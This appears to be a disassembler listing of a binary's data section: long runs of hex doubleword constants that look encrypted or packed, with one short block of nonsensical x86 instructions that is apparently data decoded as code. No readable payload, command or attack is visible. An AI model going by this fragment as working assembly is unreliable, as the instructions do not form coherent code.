		dd 47A3FCE8h, 0A6A9A1A1h, 7BBAF431h, 0FDB7A709h, 795E82C1h
		dd 0B85B041Eh, 950904DFh, 28692F6Dh, 0B54E80E1h, 1FCE6E66h
		dd 52BA19A9h, 406BACA5h, 1B5E5DD8h, 22CAAC9h, 4120E986h
		dd 7BA09B0Eh, 0AC01154Ah, 0B74EE9h, 0C78EA9A4h,	0B300E043h
		dd 690FB0F6h, 1D399A20h, 0C2CA5015h, 0BA0185C8h, 377A3440h
		dd 2E00F37Ch, 0D87C2763h, 1AA1591h, 0E044C28Bh,	30C8C07Ah
		dd 0BA1CB629h, 1CC0D77Ch, 57D6AEEAh, 0BB9400AFh, 3E632A4Ah
		dd 0E4004BEDh, 0FAAB0841h, 961459h, 0A3470E2Dh,	25973529h
		dd 1B303Ch, 22766F2Ah, 3BDE041h, 15B3AFF4h, 0D2895DEFh
		dd 0C27E058h, 0D1C6C218h, 93BC0Eh, 0B0F59A05h, 8A2B8073h
		dd 0A9E08300h, 0DB92B21Dh, 40E4004Fh, 7320ED81h, 0D00F5D36h
		dd 0E638EEC7h, 573068h,	0CFF3912h, 1536F393h, 37739518h
		dd 220D1Dh, 163BE449h, 1C817A53h, 2FF0DD00h, 0F94D0428h
		dd 7E370656h, 99EE2931h, 0D65F5C00h, 0DF2DE8C4h, 4F0F2A12h
		dd 0FF103FC8h, 4E881582h, 9680D748h, 7E7C25B2h,	2ED68231h
		dd 0BE100165h, 0F60052FFh, 0FE76EF08h, 0A49DA7h, 0CC89A67Fh
		dd 2B5DFB67h, 76C044FCh, 713E7AD5h, 1B9800DDh, 3D51B2B8h
		dd 5B003078h, 0FBBED3DAh, 0F08DCFh, 0AADD6E8Fh,	0ED563C7Ch
		dd 83074E00h, 135EFFA4h, 7815008Eh, 8431F03Dh, 7300141Bh
		dd 2447E83Eh, 5FC06Dh, 0FC54F839h, 0AC06D158h, 524BD207h
		dd 0FFB03479h, 6EB82436h, 9148CC90h, 0F75F6098h, 2366000Ch
		dd 0EB8D16F5h, 96507DA2h, 0CF003081h, 6DBEE3AEh, 0C364CBh
		dd 0F1D2388Eh, 119E1A53h, 6A967060h, 3843E3CCh,	38C9C40Eh
		dd 395BE00h, 6EB3F69Ch,	80218A03h, 11D47672h, 20899186h
		dd 0FD9B01AAh, 49F36FB4h, 33C35051h, 361E2F18h,	0B54D7DE9h
		dd 21411975h, 0C784C6h,	43D57E11h, 8A3CB8DCh, 7C178E60h
		dd 70FE74Fh, 0A0222693h, 0C70802BAh, 51FACC80h,	6EF88F78h
		dd 959C050Fh, 0D65287F4h, 0B2402307h, 664DD9h, 723B59BAh
		dd 0E68BFC2Dh, 757EA33Bh, 4A0F2403h, 32265E5h, 0AAE3816Fh
		dd 0B28BF505h, 9DB7FEE0h, 40092C1Fh, 0EEC01C5Dh, 0A10E4BE7h
		dd 0C79F0388h, 57434FD0h, 0B68804BDh, 0FF894001h, 0F69859h
		dd 0F4C476BBh, 33286240h, 0E5DEB70Eh, 0CE2E8CC1h, 32C230C6h
		dd 5F9780D0h, 92BE0300h, 59FCA506h, 4C931E10h, 11F28067h
		dd 2EF73C71h, 0CA900D60h, 4CC370D1h, 0A800C486h, 92286107h
		dd 303F8B29h, 3BD91C8Ah, 80ABB601h, 0DE878223h,	0D090B31Ch
		dd 3C949254h, 8BE020C1h, 49C0232Ah, 335203FDh, 0C96C357Ah
		dd 379C3800h, 8DC4676Eh, 0A19D0139h, 441477B3h,	0DFF18007h
		dd 0D80EB5E7h, 0CA237BAEh, 4FAE154h, 82D41538h,	7A400291h
		dd 0EC003178h, 0AD591033h, 0B3B02Bh, 66C9D7AEh,	65CE5132h
		dd 96B5BC00h, 0F7E34BDFh, 166CCD9Bh, 0E86C80AAh, 8A2E6B07h
		dd 0B6E702A1h, 4DADDF0Bh, 372FE180h, 53EA971Ch,	0EE4511C7h
		dd 0C2F52620h, 7AEB00A2h, 110A97DEh, 782A8238h,	0E20CFD20h
		dd 0F464284h, 3A13063Ch, 779663ECh, 0CF7151FBh,	1280070Ah
		dd 94F387Dh, 0F99B04E2h, 32DB9780h, 140320A2h, 6ECAA38Fh
		dd 5F7A00C1h, 9B1851F4h, 94EF5253h, 0B3BE42h, 86EC665h
		dd 327647h, 52E8C162h, 0CAF04BE9h, 4FA5B002h, 409FBCADh
		dd 397B6AEh, 0A2D051DEh, 2802BAE7h, 77B207E3h, 0ED18A9Ah
		dd 37F85700h, 48BC19B8h, 1A003FF3h, 9ACBB58Bh, 44C7B198h
		dd 0B0300CE5h, 0CDBB326h, 123D7D8Fh, 2C00076Ah,	0D17A42D2h
		dd 7B68147h, 8CC35A37h,	780E9A3h, 0CF541D3Bh, 0E7B846C5h
		dd 991F4380h, 95145333h, 19B9716h, 24C26D65h, 4DD2E0BBh
		dd 64DC5C28h, 44E74800h, 4BA6A00Dh, 2FA05h, 2930F16Ah
		dd 5CC7430Ah, 0BBD390Ch, 0FF51F0Fh, 263C615Ah, 53D09D63h
		dd 0C968DEC2h, 0CB166A3Bh, 2E266B0Ah, 32B900A7h, 0F6DFE271h
		dd 700262Dh, 3457F84Eh,	1C2A307Dh, 80863FA0h, 6E03EEECh
		dd 0E62D322Bh, 3C0DA419h, 733A22C0h, 66221F7Bh,	759AC050h
		dd 0FF483323h, 8C115800h, 0F4397013h, 26189A2Bh, 80EC2042h
		dd 752E733Eh, 141399D4h, 0CF00E78Bh, 60CD84A4h,	0D79200BFh
		dd 0EC83FA4Ah, 141D8904h, 0E1055124h, 0D8E5C181h, 640E9D9h
		dd 33240C87h, 5308895Ch, 0C381E3A0h, 0CEB16A9h,	0D034891Ch
		dd 6D00BA52h, 814B790Fh, 3FCB3BF2h, 0D19B4DD5h,	0C4DA7A8Bh
		dd 0BC681E85h, 1C779F77h, 330F94DEh, 0F7CB7A5Eh, 1C8B0851h
		dd 0FE71F4Dh
		db 72h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	al, ch
		or	al, 18h
		or	dword ptr [edi+eax*4], 2Ch
		enter	0FFFFFF98h, 1Eh
		pop	ecx
		lock cmp ch, cl
		mov	esi, 0EFB7BB4h
		or	eax, 235037ABh
		push	ebx
		call	far ptr	7Ch:0B836F868h
		enter	6ACh, 3
; ---------------------------------------------------------------------------
		dw 0FFC5h
		dd 27093FE0h, 191617h, 24C072B8h, 9F310030h, 675D50E6h
		dd 7A0787D1h, 60FD8D83h, 797DD3D1h, 0E7CAFCh, 59BB901Ah
		dd 3998715Bh, 91004C7Eh, 89191F1Eh, 7B361CD4h, 0F44A00D2h
		dd 0C66F85EFh, 7A00A053h, 56AAE922h, 1D6CB4EBh,	81C1DB09h
		dd 9EE10B5Ch, 8491F04Eh, 38222900h, 411E797Ch, 51600070h
		dd 0CF7A7482h, 365A6943h, 38856AEAh, 984701Ch, 230FE68h
		dd 0CA360180h, 527D508Ah, 5B715FE6h, 64074F95h,	3D20AB37h
		dd 9A3F4F9h, 0EED422B9h, 377500EAh, 70C90014h, 11350D0Eh
		dd 0A1BD0909h, 28FDFA05h, 97F1CBDFh, 8A004C37h,	0C55C7E3Ah
		dd 4B3DB8F2h, 46DDCCB8h, 45A02B07h, 88F0D50Ch, 5E4D9Eh
		dd 0FA8C22C1h, 0B0BFA6B6h, 61C5EC08h, 0EBB9165Bh, 270140C8h
		dd 0F642FDB5h, 8B83217Eh, 4F310FD9h, 0B700D108h, 0C08F5ED8h
		dd 2622632Eh, 42D36B76h, 9DC2C15Ch, 9F5BD881h, 1B91EC35h
		dd 5AF29F80h, 3F3A6E59h, 0EDC94F78h, 0C280475Eh, 9CDD2FA3h
		dd 6937500h, 87BF6649h,	0E4A9809h, 4E65FFCFh, 4DDFD169h
		dd 1FB260CFh, 231CE2E8h, 452DF380h, 31BC1A01h, 4801893Dh
		dd 0D6305267h, 203F64D5h, 0CE8AB3CFh, 400E4D00h, 30216A68h
		dd 0E45C000Fh, 9D29BDBEh, 0BB0C66CDh, 0F65B4911h, 5B6AFEBCh
		dd 801CDB02h, 3A0AE4B8h, 191217FEh, 1C6A815Dh, 4C3C251Eh
		dd 0E200346Bh, 61414EB7h, 1C35C6h, 0E3FF9922h, 76303233h
		dd 5106564Ch, 991B3B53h, 60ACDD39h, 204B1149h, 0BAC4ECDAh
		dd 0FFDE2639h, 2FD27E05h, 3BA07432h, 2DECC25Fh,	0B277A806h
		dd 0B77FC1Ah, 4951F8E9h, 2DCBA8CFh, 0AD034837h,	80851D88h
		dd 0BD38011h, 919D03C0h, 66608040h, 0E91AB812h,	16149148h
		dd 6F6DA361h, 602081Ah,	0FB6FB350h, 64BD2325h, 0F99D12FFh
		dd 0A4B5F81Dh, 0CDEFC002h, 0C2FB7E3Eh, 0C07EF88Ah, 5044D3E9h
		dd 6A037516h, 1F87BBFFh, 0B561D75Fh, 54A52071h,	7300EEF1h
		dd 14B8E316h, 8E91BD89h, 0A4623F5Fh, 0C4552B1Ah, 10B067AEh
		dd 1613F4BDh, 0FA644AECh, 71E40607h, 2B912D10h,	0F4934EF1h
		dd 0B24B37F3h, 0DEDA1066h, 0F62AA0D2h, 0C1498BF6h, 87864F15h
		dd 30292054h, 1DFD74B5h, 6E5B4EE7h, 8C89F053h, 0D961D0BCh
		dd 0E96AD18Bh, 0A8CA17ECh, 8703C0B6h, 0AD9B1D6Eh, 30BBEDC9h
		dd 0E928D9B9h, 8B39479Eh, 908525FBh, 5B3DB5C9h,	345DE330h
		dd 93520AF9h, 8A4F36F9h, 102287h, 44AD1982h, 0D7C37E2Bh
		dd 38351A00h, 0AD42E34h, 5FE92A8Ah, 0CDF94F62h,	83202E87h
		dd 77CCBCh, 6B5951A0h, 0D405909Ah, 0B1D6BB06h, 408A01ACh
		dd 919F5B11h, 0AB153292h, 52293A3h, 1E231904h, 7E95BEA0h
		dd 9F5B66E0h, 0DA00A8B2h, 9589F533h, 25F28BA4h,	5BC9E113h
		dd 0E0BA2F6h, 0CD77AC42h, 5A5DC1EBh, 2199E8BAh,	7E2B0524h
		dd 6319832h, 0AACE56F5h, 9648F0C9h, 0FE01EF16h,	0F6961EDAh
		dd 0B219058Ch, 0B7167FB9h, 84F34BF6h, 25F1E680h, 689A3762h
		dd 825E7C10h, 8501FCE1h, 0C6702D7Fh, 0DA072AF1h, 3A69DC5Ah
		dd 9619F448h, 131CA82Bh, 49F22DD9h, 0A19CA693h,	8300B9Ch
		dd 9D230951h, 0F221FDDh, 6EC4860Fh, 5B996049h, 490069E2h
		dd 6FEC608h, 5E2D11CEh,	685FF361h, 6247E7Bh, 8D05469Dh
		dd 64BE0E45h, 0B83EED50h, 0C5950072h, 1E43B6D1h, 241F5840h
		dd 8601CF81h, 0BD0903C2h, 5FFFE83Bh, 0AB6BE874h, 47ADDA05h
		dd 0AD99356Ch, 0B5049230h, 5B0B2FB9h, 7DF668E0h, 0F5AC9A9Fh
		dd 98017637h, 0EE450A91h, 0E28F133Fh, 8589B0C9h, 0EE144FDDh
		dd 8C005F6Fh, 8F8F63Fh,	0EAE3282Fh, 5BFA7360h, 0EA283FF5h
		dd 6C848A25h, 0EBE25345h, 0E9E6F527h, 341D24C4h, 10E1FF06h
		dd 41B2D20h, 87D226BBh,	0A297FC25h, 0BED32E8Eh,	6EBBC190h
		dd 2A612748h, 91119EE5h, 82ADDB4Ah, 0C01219D1h,	756C872h
		dd 92BB219Dh, 0FC74C478h, 425A1C1h, 1227A6Bh, 255EC911h
		dd 8741136Eh, 60021A99h, 176110C0h, 7CA6929Fh, 9A6D2786h
		dd 42BD4C7h, 0A5206BEh,	0A7BD353Bh, 14548DC9h, 0F61F75BBh
		dd 4799A03Dh, 8E3400D8h, 0A4FCF17Fh, 89279529h,	0BBAEEE1Fh
		dd 0CB7D70DDh, 0ED3A3302h, 0E0F87FBFh, 2E870AD7h, 4D23F41h
		dd 0FF8D0F50h, 3EE6E431h, 0DB4A8F38h, 0A06382EAh, 6867C44Dh
		dd 38A9CB35h, 0D2096844h, 76FE7D1Ch, 4F4A40E7h,	7FE8CBEEh
		dd 0F5DB5D0Bh, 84C0D5C9h, 3AB0FF44h, 5B132D13h,	0E760B7C7h
		dd 123101A1h, 0EC1B95BDh, 686BB570h, 8B65805Fh,	0EB6280F8h
		dd 0EBA9952Eh, 5685B282h, 0CD00FC74h, 37595516h, 2F3A629Eh
		dd 0AFE4EBE6h, 0B26E100h, 77C40754h, 43E70B88h,	405F97D9h
		dd 2B32E051h, 16A5D8EFh, 8538125Fh, 222DBC5Dh, 0BDAED6E5h
		dd 0E46127B7h, 0A0DE9F92h, 0DF0709DCh, 7DE4021Dh, 98C63A01h
		dd 0A1A8FCD5h, 0C8099A6Fh, 51B8C214h, 5C52BE7Eh, 0A2CD4A5h
		dd 9D0E3560h, 8D4F103Dh, 0FD8C02BFh, 4B1E1DCh, 0C635E98Dh
		dd 0A106CA2Fh, 55200CB8h, 0D1A84F8Eh, 7B1E88ACh, 387E9DCh
		dd 1830D41Ch, 82D8DFDDh, 26074B51h, 0B6FEF64Dh,	70EAD682h
		dd 0E6E2176Eh, 8421A85Bh, 96FC2434h, 0C009DB93h, 50452C70h
		dd 86805FEh, 0C4DF923Fh, 15EFE85h, 3B8687C7h, 4EF92Bh
		dd 49A58143h, 400ADD9h,	0E702CF90h, 7C1298BDh, 0ED3F0423h
		dd 8168B2h, 79E37D78h, 83C705BBh, 0AD8D6D2Dh, 8C1DA822h
		dd 0A2C51F28h, 2BA79F02h, 76991A33h, 958F4085h,	0C5002CF0h
		dd 0B3303502h, 249E5B5Fh, 605C90BEh, 0C8209A1Bh, 55B15112h
		dd 80083008h, 0D0225D24h, 1D0B4784h, 0FB905B3Ah, 55CF70B1h
		dd 49998872h, 0E5951056h, 0CAC84F2Dh, 0BDFF0013h, 7954D520h
		dd 4101CF25h, 1207C290h, 3A206108h, 0E1D59615h,	0C4C9A2AFh
		dd 569FD1A6h, 32E9C2CEh, 0B75A0DD4h, 0B7D185E5h, 24B930FBh
		dd 0DD4CD3C2h, 0E52A2710h, 3119163Eh, 10579B5h,	17A629E9h
		dd 0F59D04F0h, 0E6810019h, 27BCD9C7h, 0FFE76107h, 0ADB7245Ch
		dd 0B005DED3h, 33D792A7h, 0DB0999A8h, 538401D8h, 0C438BF29h
		dd 9E045A90h, 87F98FD2h, 72D2D6E7h, 5BD5960Bh, 0E77AAA61h
		dd 13BFB100h, 0B9A71D62h, 4F011E40h, 0C896DB11h, 0E493C115h
		dd 52356AF9h, 8BB07E30h, 2D43E23Fh, 2E5A631h, 0B08CC627h
		dd 0D2D2482h, 17710847h, 9E42EE27h, 0E09CD4D4h,	2CD7961Ch
		dd 0BBC0AAACh, 4FB1EE06h, 4CC8315Eh, 860F2E96h,	2C5EC2CBh
		dd 1889D6E0h, 407ADE8Ah, 3641FD37h, 4922AC00h, 0E7B13378h
		dd 2C693D62h, 37F5000h,	0BD019698h, 0B8A509F4h,	0F8748B25h
		dd 56915BB4h, 0D3BAED12h, 0E0A760B6h, 17B91EBAh, 0B710CA62h
		dd 78E6C5h, 30E2EF9Ch, 6558A746h, 5ACE4100h, 7207624Dh
		dd 0A3690923h, 6B08385Ch, 9BB36097h, 5F5632CCh,	3BA24BDAh
		dd 0AA569300h, 7A9895E7h, 0AF677B18h, 812DD5D8h, 6D356A5Bh
		dd 27694105h, 0B9D673A9h, 18E0B88Bh, 569EAD3Bh,	0AA9C1665h
		dd 76B5575Ah, 29011F17h, 0C283E179h, 11068D01h,	0CB719589h
		dd 0B976253Fh, 2E3B89Dh, 216A046h, 93D4E8B7h, 5B5DCC6Ch
		dd 0D6FDE20Ch, 14A8EDF9h, 2F96F900h, 0DD03B236h, 0BB8CBF08h
		dd 1E4E61C8h, 41BD7D52h, 0A0A3A74Bh, 73A88A3Dh,	0E7C24ECFh
		dd 406E4B37h, 9F3F2B01h, 20DF3CECh, 0FD25BA99h,	0E5C7381h
		dd 3F1085B5h, 51E30261h, 5D37630Eh, 18919535h, 94953B80h
		dd 28B53F90h, 0C349692Ah, 70BEA529h, 0FBF381F2h, 5296AF16h
		dd 0B99380A2h, 0F01A56B2h
		dd 251F3091h, 4E06A446h, 9DBB99DAh, 0CADC4770h,	406CFE46h
		dd 8D8CF781h, 0FB37EB25h, 0AFB5A7DBh, 0C4481D0Bh, 0B91C033Ah
		dd 0FA1377B5h, 0CB88CF93h, 0AE131265h, 0FF1654D9h, 5F2D98E9h
		dd 3E68724Dh, 82686A62h, 1471D3h, 0F8DB509h, 75703AB5h
		dd 5A308137h, 13FB5EE7h, 8481B531h, 0A393FCBAh,	9B375E67h
		dd 7F0980D8h, 2D71ECC2h, 0ABC0CB81h, 50B0C1D8h,	0C3F60A71h
		dd 6A2540Bh, 0A59D5353h, 0A40097B5h, 60EF8ADAh,	802A0D7Eh
		dd 0F474CE5Fh, 0C65F2389h, 51DF694Bh, 0AE31678Bh, 80732B4Bh
		dd 848D9401h, 0D0E8C0A2h, 0B7FF71F2h, 7A00FEB7h, 4E4659C2h
		dd 878A0962h, 0F85E74D8h, 9D23C181h, 0A86F0E8Dh, 6AFBA4EBh
		dd 0E5CC00C4h, 504EABFEh, 5EAB9757h, 4D804437h,	0A93F2569h
		dd 2808B8D8h, 394D1F41h, 61035360h, 4D8D8B5Eh, 3EFDC178h
		dd 9FC19CDBh, 0FC55B484h, 0FC0194D3h, 95296DF3h, 8E4832F5h
		dd 0ACDB2DE7h, 217B757h, 89279CA7h, 7A14B9C1h, 37F88ABDh
		dd 0EA7A711Ch, 2FB5BA79h, 0AB88C0BBh, 0BF501C82h, 48334A02h
		dd 1CCDADC1h, 19C2BAC1h, 9EE72Ch, 0E837D3DCh, 0E2008CCAh
		dd 0B4D94EDFh, 9F5DF728h, 0BD5FF9E2h, 0C8320277h, 22E37E73h
		dd 9D33A2F8h, 0DD82295Bh, 23D3F76Ah, 1D4FD270h,	0C487CD06h
		dd 0E8194710h, 0ED09250Bh, 6030E8C1h, 13681F32h, 9D207504h
		dd 0E28CE53Eh, 25AD7AE8h, 0CCE6CEA9h, 0B095313Dh, 8BD18116h
		dd 839497FBh, 0FB094144h, 1A3DECBh, 8DE78102h, 6A48EAEEh
		dd 0F8D30BBCh, 0E1F82C63h, 1A357752h, 251DFC12h, 51FF8841h
		dd 382F48E9h, 0DB41F108h, 4A551130h, 41D7A0Bh, 658D8980h
		dd 18021FBh, 4A242F26h,	90CF03B8h, 1345874Ah, 7FDF8850h
		dd 71C5F501h, 90B89698h, 1B9AB79h, 2FD9B7A8h, 20A01F66h
		dd 521C2AE9h, 0E403BF60h, 0EA013EE5h, 618AC825h, 2FB2975Bh
		dd 85F2E00Fh, 0CFF6EA4Bh, 0A270AEA4h, 25FE220Bh, 0FD37FF6Ah
		dd 488F4501h, 0E4A70FF7h, 86AA9990h, 7EE03Ah, 3F6C85Fh
		dd 94FC41h, 0ACD916F9h,	54BEECFh, 0B14B30B8h, 3D95B6D0h
		dd 0F2C5B71Bh, 3A5D2B11h, 8FD8582h, 459DC20Eh, 0A86C5E21h
		dd 168125F6h, 0B5F06CE4h, 93C1F42h, 882ABD11h, 0E38181F9h
		dd 0A5A35ADDh, 9F1CF818h, 814074FCh, 2C0E31F6h,	0B246125h
		dd 0CC770B91h, 29EF80D5h, 8B618209h, 7E1E2FF5h,	1012BFA4h
		dd 52277EF2h, 0C82BA348h, 40C854BDh, 0A6DD73BFh, 0D18B5013h
		dd 0D72F6307h, 0A3E9F961h, 79BD3441h, 0E48524C2h, 0CDEC019Ch
		dd 6FC80D4Bh, 2B5B4553h, 28DC88h, 0AB744A3Eh, 0F025605Ch
		dd 78D21C4Bh, 58987730h, 11D76AE9h, 70ED0AFh, 18009893h
		dd 143080B5h, 16C6AD33h, 0C81B4309h, 4901C02Dh,	56BE2F6Eh
		dd 0F87ACF6Fh, 325F8EA9h, 9B408BF3h, 0A62A4E55h, 972D2208h
		dd 44205F32h, 3F9A28E1h, 0F059F400h, 98544E20h,	0DFCF0223h
		dd 1C2D8D31h, 953E22FFh, 0BDF92404h, 51909C71h,	4BF8C740h
		dd 0BC8CA96Ah, 0F3B01CAh, 412E8BB1h, 8202EC1h, 9C8CF36h
		dd 8E2FBEC6h, 0CD251376h, 60186471h, 2F3554C1h,	0A582652h
		dd 29B93440h, 12E00F02h, 4C55F1FAh, 9BEA98CFh, 31F11A13h
		dd 0C31CF600h, 29E42Dh,	7D74C436h, 0FC1A453Eh, 249156C9h
		dd 3FEEB8A5h, 18236Dh, 433CD04Ah, 0D24F2B5Ch, 5D6F40FBh
		dd 6970FA1Eh, 34E42200h, 858A783Ah, 4064B477h, 0A45D1E76h
		dd 90648h, 8AF9A08Fh, 12AEBB4Ch, 0F35FD6E0h, 0D780C248h
		dd 0FE8481DCh, 42D880Dh, 0B47C15ECh, 0ED8F9009h, 60E97CC2h
		dd 1A8D9D2Bh, 0ED9A0282h, 6983792Fh, 9D47EFEh, 0F807AE7h
		dd 3931579h, 0E25B32B8h, 8C17FC6Eh, 8311E504h, 80C4513Bh
		dd 845AF2FFh, 13AE0B5Fh, 0E860A9C7h, 4A580036h,	0FA750DCEh
		dd 450DCE5h, 2C4AC5A1h,	0ECE512FCh, 0A1A64FD4h,	85891EF0h
		dd 6A211524h, 7E8D0FE2h, 98D3AF79h, 5B81BD14h, 324CA4E7h
		dd 130EF510h, 0AB1E1FFh, 2F4C282Eh, 51415C8Ah, 0D88B113Dh
		dd 0F81A282Fh, 0DBEFD8D6h, 683980A7h, 12E88A7Dh, 0E9605AA7h
		dd 3AD1B89Fh, 0AA026345h, 795BD8Bh, 8140355Eh, 25171FCFh
		dd 3BE20833h, 328233B7h, 5E10B528h, 5F1B9131h, 920075A3h
		dd 0C80AE239h, 0FDB0F53Bh, 4817547Fh, 3D493201h, 0A5625961h
		dd 225C1942h, 0D44154EBh, 9ED5E209h, 129FC4B0h,	83DA8A90h
		dd 0A9BCD995h, 390EB86Eh, 9D0B8B31h, 0C86A2B71h, 6A965E7Eh
		dd 80AD9BEBh, 0F7A0ED95h, 0E9860165h, 7A1B1368h, 0B63376h
		dd 0B2E0EAF8h, 6B771Dh,	0A4146348h, 8A51AA1Fh, 5B5FFA16h
		dd 0EC041BF8h, 0A8766518h, 0BD33C1E5h, 2D2F2535h, 0C02F5A0Bh
		dd 0AD636F7Ah, 434EB476h, 8C36D12h, 0EC96A498h,	0BFDEE500h
		dd 883D8926h, 61951001h, 0E95B092Fh, 4110F6B4h,	2EF2BBF7h
		dd 0E84BF811h, 2584E6F3h, 0EDC68DB9h, 88E0F14h,	2881106h
		dd 80616002h, 6C5713F3h, 0D9BD12E6h, 43C2E729h,	8E8800C4h
		dd 9D92654Bh, 90A10168h, 0E411EC62h, 0C349E501h, 373FE548h
		dd 5C6BF385h, 1500DE0Eh, 0C19834Fh, 984CB249h, 0FABA9555h
		dd 8A8063B5h, 0BF66FCBBh, 89CC17B6h, 1B9BAF46h,	6480DF8Eh
		dd 2F2BA31Eh, 503B3516h, 1D0040E2h, 0AB70E7Ah, 0B505E98Bh
		dd 0E21701A7h, 5B1B32BFh, 7CB5C2D8h, 0AC7C49FCh, 1946D6h
		dd 0C428DB2Ah, 50F1176h, 0BD0BDFBFh, 54A925h, 6852B0BBh
		dd 786F857Fh, 0D76D093Ch, 0A22370D1h, 0CAB78680h, 0D8D22FE3h
		dd 91063597h, 7B88801Bh, 9D13F5Dh, 50FB3CA8h, 7F161C6Ch
		dd 0D7AACA81h, 0E9DF71E6h, 27E52674h, 80BDF957h, 0F97410CCh
		dd 0BB009436h, 1A5C996h, 0E6AD2065h, 0A83A1284h, 0F5FBE5Fh
		dd 67A54F24h, 0D672AC9Ch, 0FD7E3D04h, 0BDACF802h, 4E51FEA5h
		dd 0BDBCE1h, 0CF358B96h, 499509D1h, 8100C592h, 34C169E3h
		dd 9F5DE91Bh, 0DC69D9EFh, 870F62FBh, 2050415Eh,	51111EC3h
		dd 0AE007B38h, 0FC30B83Fh, 6B28F375h, 1F09D1C4h, 7E1DF8D3h
		dd 1DC4D7ECh, 93E59B60h, 42267600h, 0C5F9057Fh,	0A19D2F89h
		dd 8BB6F80h, 4D4BCFBCh,	0FA3AF08Ah, 0E858FD4Bh,	437701E5h
		dd 98D8EB29h, 65806A27h, 0ED89EFD6h, 1266186Fh,	9E38F2E9h
		dd 0B145C861h, 7A6A03B9h, 4ED01F19h, 64F7CDA5h,	0B1FE6017h
		dd 0F96900C4h, 8C20CB81h, 4E9D1F5Ah, 3035BD51h,	327B8700h
		dd 2678FFE8h, 85AD599h,	0F2240735h, 7117C909h, 87B7A73Dh
		dd 7BC8B309h, 58EBAB2Ah, 0BC09494Eh, 0CA84F5h, 0C4878FE5h
		dd 9DCBBA11h, 8D29CD60h, 7C013125h, 1946DECDh, 6E1F8801h
		dd 2FEBFE25h, 2C11034h,	8D497C9Ch, 0BC94B96Eh, 229C0934h
		dd 41D40D19h, 1FE1B5C1h, 26D42D2Eh, 399B555h, 0B455F003h
		dd 825A53E7h, 32751E31h, 0D411D64Ah, 0AD6CF013h, 0F858AF8h
		dd 51528881h, 39DE297h,	4F20508Ah, 2B0AB574h, 20BEC234h
		dd 26287DACh, 0A39FDC00h, 6714547Ah, 0CC18973Eh, 7D05DB81h
		dd 6A260BB7h, 0E079F6ABh, 0AF9D83h, 0E9DBF164h,	332009E5h
		dd 0F5B1DF4h, 6FB979E2h, 0E8D683B8h, 0EC501268h, 23B76BBEh
		dd 0F908001Ch, 0D2E04AE2h, 82A5D12Fh, 2BD54Eh, 34B750F5h
		dd 0BB98972h, 69C4450Ah, 0DA04D549h, 998BAF25h,	476A4Ah
		dd 6B79A2FFh, 128B4C7Ah, 0E2F9FA8Ah, 0A80C88C6h, 704606A5h
		dd 0A7DF8B50h, 0DE93D8EAh, 8D181A71h, 16FD2A01h, 29CA4B85h
		dd 2B80896Eh, 3C2AD34h,	9EC528Bh, 61F85E57h, 0F589367Bh
		dd 695D7113h, 6E407CCDh
		dd 2B31643h, 0D0494A65h, 0CB817AE5h, 2E60ACEBh,	0E1796129h
		dd 26B6E4Ah, 3668CC3Fh,	68505C35h, 1EF508F8h, 61BFC612h
		dd 7011380Fh, 0A1003548h, 0FE73485Bh, 95DE9829h, 0F6E969F1h
		dd 0B11FD417h, 0D442B833h, 578F0858h, 8B08DFE6h, 93079BDh
		dd 0E87EABE9h, 8C22402Eh, 9BB6C1ECh, 0D08D00DCh, 81EBC1B9h
		dd 9E77E7F7h, 58955B4Bh, 0F0E0F6FAh, 28842C01h,	78ADB063h
		dd 0BF50808Dh, 0F6BB2512h, 4E26A0B5h, 64E25BF0h, 0D0883A01h
		dd 0A3D108EAh, 26CB1920h, 487A9F8Eh, 13FD089Ch,	0D6FE303Bh
		dd 0B7ACEAD5h, 39828137h, 5CF7543Bh, 1B82630h, 5FD93D43h
		dd 39DB2090h, 0E50553Ah, 0BE8A2896h, 0ED7A6AD6h, 0CEDD027Bh
		dd 56F8E51Eh, 5B253CE0h, 2B4E5F62h, 0DE1175BDh,	0F68B100Eh
		dd 0F55EBD7Ch, 24D99E60h, 0C89A9513h, 1412BA7Ch, 0A8F374BBh
		dd 0D14A7174h, 942F9BCAh, 0FCDA9EDBh, 1E32A8E8h, 494C5066h
		dd 2E37026Ah, 0BC2C29Ch, 0D590FAB9h, 0B25CDF90h, 0DF2EC11Fh
		dd 0C51A0701h, 29D59FA0h, 48FCE22Eh, 90F809A9h,	0E99F0451h
		dd 0CD5B78D2h, 6018C439h, 254DCC72h, 0CEF43CB4h, 0EEB33092h
		dd 5EADF84h, 3DC2DC8Ah,	542DCAE5h, 3ED16BC5h, 173804ADh
		dd 11C6500Ah, 8F5A760Ah, 499B108Ch, 894AABB3h, 7EE73AB1h
		dd 51A2A7A0h, 3AD26B09h, 97BE5A76h, 0FAD8FA5Bh,	0B7BD0414h
		dd 0AC1B5F73h, 0CEFCD3DAh, 0AB538F80h, 0A60E418Dh, 0AA0E5CD9h
		dd 49279421h, 82425F95h, 0FC602309h, 4B111E31h,	172A6A61h
		dd 31ABF5A0h, 2E7A315Ch, 9A00457Ah, 7AE0224Dh, 0B228E6F3h
		dd 5FA2B7D3h, 36C4CE54h, 83C8B04Ah, 70E63F8Dh, 4FB90C04h
		dd 12C071E4h, 955BF957h, 371BB7A6h, 5B4E46B7h, 0DB042060h
		dd 4616C578h, 0DCEB6B22h, 0AE988B11h, 128D83D0h, 0D7B4C8BFh
		dd 0A4BD5E23h, 852F31D7h, 37B3D5CDh, 0C6D1613h,	45C50ABCh
		dd 0D921BE01h, 0B42BFC8Ah, 0FA12B7A1h, 9E04C82Bh, 3FDC097Dh
		dd 0E2D53B5Eh, 41DE2F87h, 42601E91h, 8B8E9C40h,	0FBFD100h
		dd 0E935D62Bh, 60B8B5A1h, 9B001523h, 0E2D1D925h, 0EABFF2h
		dd 0A5EC56FDh, 69EBA836h, 1CD91B58h, 5F404C44h,	0D8E4BF60h
		dd 0D72F5DEDh, 61621F20h, 560EADC6h, 0B4F946FAh, 0A265128h
		dd 0F156EAE1h, 1B4345B9h, 48D98E25h, 0EFC4AD4Fh, 0CBD0AC23h
		dd 0E8606451h, 7F010F3Fh, 1141128Ah, 21B7547Bh,	0D862C6B9h
		dd 25579955h, 2BDE8B11h, 8EF4E367h, 4055F998h, 95518901h
		dd 44043A79h, 0D9AD0A88h, 17608F84h, 0F82688EAh, 6A9AD8A3h
		dd 7074FBF7h, 2D39EC9Eh, 0A3848247h, 0C03BBF49h, 95451D43h
		dd 1402D79Bh, 23B94377h, 0E73DD50Fh, 0C789C001h, 122F3136h
		dd 0EB65BA0Dh, 0A6C0F49Ah, 6E406420h, 19B7BF05h, 178D2289h
